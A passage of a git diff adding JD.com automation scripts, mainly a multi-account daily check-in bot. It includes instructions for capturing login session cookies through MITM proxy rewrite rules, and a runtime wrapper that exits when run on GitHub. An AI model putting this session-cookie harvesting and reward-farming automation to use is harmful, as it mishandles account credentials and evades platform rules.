"https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + // $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + // console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + $.expirejingdou += item['expireamount']; + }) + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + // console.log(e); + // $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_bean_sign.js b/jd_bean_sign.js new file mode 100644 index 0000000..469f3a3 --- /dev/null +++ b/jd_bean_sign.js @@ -0,0 +1,2066 @@ +/* +Node.JS专用 +cron 0 0 * * * jd_bean_sign.js +金融签到有一定使用门槛,需要请仔细阅读下方文字: +JRBODY抓取网站:ms.jr.jd.com/gw/generic/hy/h5/m/appSign(进入金融APP签到页面手动签到);抓取请求body,格式:"reqData=xxx" +变量填写示例:JRBODY: reqData=xxx&reqData=xxx&&reqData=xxx(比如第三个号没有,则留空,长度要与CK一致) + +强烈建议用文件,环境变量太长了 +云函数用户在config分支新建diy/JRBODY.txt即可(也就是diy文件夹下新建JRBODY.txt).每行一个jrbody,结尾行写'Finish' +例子: +reqData=xxx +(这个号没有,这行空着) +reqData=xxx +Finish + +其他环境用户除了JRBODY环境变量可以选用JRBODY.txt文件,放在同目录下,格式同上. +注:优先识别环境变量,如使用txt文件请不要设置环境变量.JRBODY换行符(应为unix换行符)可能影响脚本读取! + +出现任何问题请先删除CookieSet.json(云函数不用操作) +云函数提示写入失败正常,无任何影响 + */ +console.log('京东多合一签到SCF开始') +const sendNotify = require('./sendNotify.js').sendNotify +const fs = require('fs') +const jr_file = 'JRBODY.txt' +const readline = require('readline') +let cookiesArr = [] +let notification = '' +const stopVar = process.env.JD_BEAN_STOP ? process.env.JD_BEAN_STOP : '2000-5000'; +console.log('Stop:',stopVar) + +async function processLineByLine(jrbodys) { + const fileStream = fs.createReadStream(jr_file) + const rl = readline.createInterface({ + input: fileStream, + crlfDelay: Infinity + }) + for await (let line of rl) { + line = line.trim() + if (line == 'Finish'){ + console.log(`识别到读取结束符号,结束.共读取${jrbodys.length}个`) + return + } + jrbodys.push(line) + } +} +(async () => { + const jdCookieNode = require('./jdCookie.js') + Object.keys(jdCookieNode).forEach((item) => { + let ck = jdCookieNode[item].trim() + if(ck.substring(ck.length-1) !== ';'){ + ck = ck + ';' + } + cookiesArr.push(ck) + }) + let jrbodys = [] + if(process.env.JRBODY) { + jrbodys = process.env.JRBODY.split('&') + }else{ + console.log(`未检测到JRBODY环境变量,开始检测${jr_file}`) + try { + await fs.accessSync('./'+jr_file, fs.constants.F_OK) + console.log(`${jr_file} '存在,读取配置'`) + await processLineByLine(jrbodys) + } catch (err) { + console.log(`${jr_file} '不存在,跳过'`) + } + } + if (jrbodys.length != cookiesArr.length) { + console.error(`CK和JRBODY长度不匹配,不使用JRBODY,请阅读脚本开头说明.当前ck长度:${cookiesArr.length},JRBODY长度:${jrbodys.length}`) + jrbodys = undefined + } + for (let i = 0; i < cookiesArr.length; i++) { + const data = { + 'cookie':cookiesArr[i] + } + if (jrbodys) { + if(jrbodys[i].startsWith('reqData=')){ + data['jrBody'] = jrbodys[i] + }else{ + console.log(`跳过第${i+1}个JRBODY,为空或格式不正确`) + } + } + cookiesArr[i] = data + } + console.log('main block finished') +})() +.then(() => { +console.log('Nobyda签到部分开始') +/************************* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +************************* +【 QX, Surge, Loon 说明 】 : +************************* + +初次使用时, app配置文件添加脚本配置, 并启用Mitm后: + +Safari浏览器打开登录 https://home.m.jd.com/myJd/newhome.action 点击"我的"页面 +或者使用旧版网址 https://bean.m.jd.com/bean/signIndex.action 点击签到并且出现签到日历 +如果通知获取Cookie成功, 则可以使用此签到脚本. 注: 请勿在京东APP内获取!!! + +获取京东金融签到Body说明: 正确添加脚本配置后, 进入"京东金融"APP, 在"首页"点击"签到"并签到一次, 待通知提示成功即可. + +由于cookie的有效性(经测试网页Cookie有效周期最长31天),如果脚本后续弹出cookie无效的通知,则需要重复上述步骤。 +签到脚本将在每天的凌晨0:05执行, 您可以修改执行时间。 因部分接口京豆限量领取, 建议调整为凌晨签到。 + +BoxJs或QX Gallery订阅地址: https://raw.githubusercontent.com/NobyDa/Script/master/NobyDa_BoxJs.json + +************************* +【 配置多京东账号签到说明 】 : +************************* + +正确配置QX、Surge、Loon后, 并使用此脚本获取"账号1"Cookie成功后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"获取即可; 账号3或以上同理. +注: 如需清除所有Cookie, 您可开启脚本内"DeleteCookie"选项 (第114行) + +************************* +【 JSbox, Node.js 说明 】 : +************************* + +开启抓包app后, Safari浏览器登录 https://home.m.jd.com/myJd/newhome.action 点击个人中心页面后, 返回抓包app搜索关键字 info/GetJDUserInfoUnion 复制请求头Cookie字段填入json串数据内即可 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = JSON.stringify(cookiesArr); //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + +/*以下样例为双账号("cookie"为必须,其他可选), 第一个账号仅包含Cookie, 第二个账号包含Cookie和金融签到Body: + +var OtherKey = `[{ + "cookie": "pt_key=xxx;pt_pin=yyy;" +}, { + "cookie": "pt_key=yyy;pt_pin=xxx;", + "jrBody": "reqData=xxx" +}]` + + 注1: 以上选项仅针对于JsBox或Node.js, 如果使用QX,Surge,Loon, 请使用脚本获取Cookie. + 注2: 多账号用户抓取"账号1"Cookie后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"抓取. + 注3: 如果使用Node.js, 需自行安装'request'模块. 例: npm install request -g + 注4: Node.js或JSbox环境下已配置数据持久化, 填写Cookie运行一次后, 后续更新脚本无需再次填写, 待Cookie失效后重新抓取填写即可. + 注5: 脚本将自动处理"持久化数据"和"手动填写cookie"之间的重复关系, 例如填写多个账号Cookie后, 后续其中一个失效, 仅需填写该失效账号的新Cookie即可, 其他账号不会被清除. + +************************* +【Surge 4.2+ 脚本配置】: +************************* + +[Script] +京东多合一签到 = type=cron,cronexp=5 0 * * *,wake-system=1,timeout=60,script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +获取京东Cookie = type=http-request,requires-body=1,pattern=^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?),script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【Loon 2.1+ 脚本配置】: +************************* + +[Script] +cron "5 0 * * *" tag=京东多合一签到, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +http-request ^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?) tag=获取京东Cookie, requires-body=true, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【 QX 1.0.10+ 脚本配置 】 : +************************* + +[task_local] +# 京东多合一签到 +5 0 * * * https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, tag=京东多合一签到, img-url=https://raw.githubusercontent.com/NobyDa/mini/master/Color/jd.png,enabled=true + +[rewrite_local] +# 获取京东Cookie. +^https:\/\/(api\.m|me-api)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +# 获取钢镚签到body. +^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\? url script-request-body https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[mitm] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +*************************/ + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = stopVar; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + // JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + // JingDongTurn(stop), //京东转盘 + // JDFlashSale(stop), //京东闪购 + // JingDongCash(stop), //京东现金红包 + // JDMagicCube(stop, 2), //京东小魔方 + // JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + // JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + // JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + // JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + // JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + // JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + // JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + // JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + // JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + // JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + // JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + // JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + // JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + // JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + // JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + // JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + // JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + // JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + // JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + // JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + // JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + // JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + // await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + // await JingDongTurn(Wait(stop)); //京东转盘 + // await JDFlashSale(Wait(stop)); //京东闪购 + // await JingDongCash(Wait(stop)); //京东现金红包 + // await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + // await JingDongSubsidy(Wait(stop)); //京东金贴 + // await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + // await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + // await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + // await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + // await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + // await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + // await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + // await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + // await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + // await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', 